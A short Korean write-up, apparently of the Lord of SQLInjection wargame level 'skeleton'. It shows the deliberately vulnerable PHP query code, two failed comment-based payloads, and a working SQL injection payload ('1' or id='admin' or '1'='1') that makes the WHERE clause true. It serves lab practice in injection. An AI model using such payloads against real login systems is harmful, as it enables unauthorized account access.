워게임/los

[los]skeleton

ㅡㅡㅡㅡㄷ 2021. 6. 8. 22:35

query : select id from prob_skeleton where id='guest' and pw='' and 1=0

 

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_skeleton where id='guest' and pw='{$_GET[pw]}' and 1=0"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id'] == 'admin') solve("skeleton"); 
  highlight_file(__FILE__); 
?>


1. preg_match : prob _ . ( )
2. and 1=0
id값은 admin

주석처리를 해야할 것처럼 보인다.
?pw=1' or id='admin' #
?pw=1' or id='admin' --
실패

?pw=1' or id='admin' or '1'='1
or조건으로 '1'='1를 and 조건 앞에 추가해서 항상 참이 되도록 만든다.